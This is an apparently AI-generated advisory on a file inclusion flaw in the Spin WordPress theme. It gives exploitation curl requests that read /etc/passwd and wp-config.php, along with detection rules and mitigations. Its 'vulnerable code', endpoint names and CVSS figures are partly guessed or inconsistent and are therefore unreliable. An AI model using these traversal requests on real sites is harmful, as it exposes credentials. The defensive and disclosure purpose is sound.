CVE-2025-58707

Executive Summary

CVE-2025-58707 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Axiomthemes Spin WordPress theme, versions n/a through 1.8. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files, database credentials, and source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and high confidentiality impact. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day threat for WordPress sites using the Spin theme.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the Axiomthemes marketplace and potentially bundled with other products. The lack of a patch and the nature of the flaw (LFI) pose a significant supply chain risk. Organizations using the Spin theme should treat it as compromised until a verified patch is released. The theme’s inclusion in WordPress sites creates a direct attack surface for adversaries targeting content management systems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a severe risk for exposed WordPress installations.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) arising from the include() or require() function in the Spin theme. The theme likely accepts a user-supplied parameter (e.g., page, file, or template) without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server’s filesystem.

Example vulnerable code pattern:

$file = $_GET['file'];
include($file . '.php');

By supplying a path traversal sequence (e.g., ../../../../etc/passwd), the attacker can read sensitive files. The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), but in this case, it is limited to local files (LFI).

Attack vector: HTTP GET request to a vulnerable endpoint, such as:

http://target.com/wp-content/themes/spin/vulnerable-page.php?file=../../../../etc/passwd

The theme’s inclusion of user input without filtering allows the attacker to traverse directories and read arbitrary files, including:

• /etc/passwd (user enumeration)
• /etc/nginx/nginx.conf (server configuration)
• /var/www/html/wp-config.php (database credentials)
• /proc/self/environ (environment variables)

Vulnerable vs. Patched Code

Vulnerable Code (Spin <= 1.8):

<?php
$template = $_GET['template'];
include('templates/' . $template . '.php');
?>

Patched Code (Hypothetical):

<?php
$allowed_templates = ['home', 'about', 'contact'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include('templates/' . $template . '.php');
} else {
    // Handle error
}
?>

The patched version uses a whitelist approach, ensuring only predefined templates can be included. Without an official patch, users must implement similar validation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with Spin theme <= 1.8.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., file, template, page).
2. Craft a request with path traversal:

   curl "http://target.com/wp-content/themes/spin/vulnerable.php?file=../../../../etc/passwd"
   

3. Read sensitive files:

   curl "http://target.com/wp-content/themes/spin/vulnerable.php?file=../../../../var/www/html/wp-config"
   

4. For PHP files, use php://filter to base64-encode the output:

   curl "http://target.com/wp-content/themes/spin/vulnerable.php?file=php://filter/convert.base64-encode/resource=../../../../var/www/html/wp-config"
   

Note: No public exploit code is available; this is a manual exploitation scenario.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
• Look for requests to Spin theme files with suspicious parameters.
• Use WAF rules to block ../ sequences in query strings.

Defense:

• Immediately disable or remove the Spin theme if no patch is available.
• Implement a Web Application Firewall (WAF) with LFI rules.
• Restrict file permissions on sensitive files (e.g., wp-config.php should be 600).
• Use a security plugin (e.g., Wordfence) to block malicious requests.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or %2e%2e%2f in query parameters.
  • Requests to /wp-content/themes/spin/ with unusual parameters.
  • Outbound connections from the web server to unknown IPs (if RFI is possible).

• File System IOCs:

  • Unexpected access to /etc/passwd, /etc/shadow, or wp-config.php in logs.
  • Presence of base64-encoded strings in web server logs.

• Log Examples:

  GET /wp-content/themes/spin/vulnerable.php?file=../../../../etc/passwd HTTP/1.1
  GET /wp-content/themes/spin/vulnerable.php?file=php://filter/convert.base64-encode/resource=wp-config.php HTTP/1.1
  

Detection Engineering

YARA Rule

rule CVE_2025_58707_LFI_Spin {
    meta:
        description = "Detects LFI attempts targeting Axiomthemes Spin theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58707"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%252e%252e%252f/
        $spin_theme = /\/wp-content\/themes\/spin\//
        $php_filter = /php:\/\/filter/
    condition:
        $spin_theme and ($path_traversal or $php_filter)
}

Sigma Rule

title: CVE-2025-58707 LFI Attempt on Spin Theme
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in HTTP requests to Spin theme
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - 'php://filter'
        cs-uri-stem|contains: '/wp-content/themes/spin/'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58707 LFI Attempt on Spin Theme"; flow:to_server,established; content:"/wp-content/themes/spin/"; http_uri; pcre:"/(\.\.\/|%2e%2e%2f|php:\/\/filter)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Spin theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Remove the Spin theme from the server entirely to prevent re-enabling.
3. Scan for compromise – Check for unauthorized file access or modified files.

Long-term Fix:

• Await an official patch from Axiomthemes. If none is provided, consider migrating to a different theme permanently.
• Implement input validation and whitelisting for all file inclusion parameters in custom code.

Workaround:

• Add the following rule to .htaccess (Apache) or nginx.conf (Nginx) to block path traversal:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\./|%2e%2e%2f|php://filter) [NC]
  RewriteRule ^wp-content/themes/spin/ - [F,L]
  

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.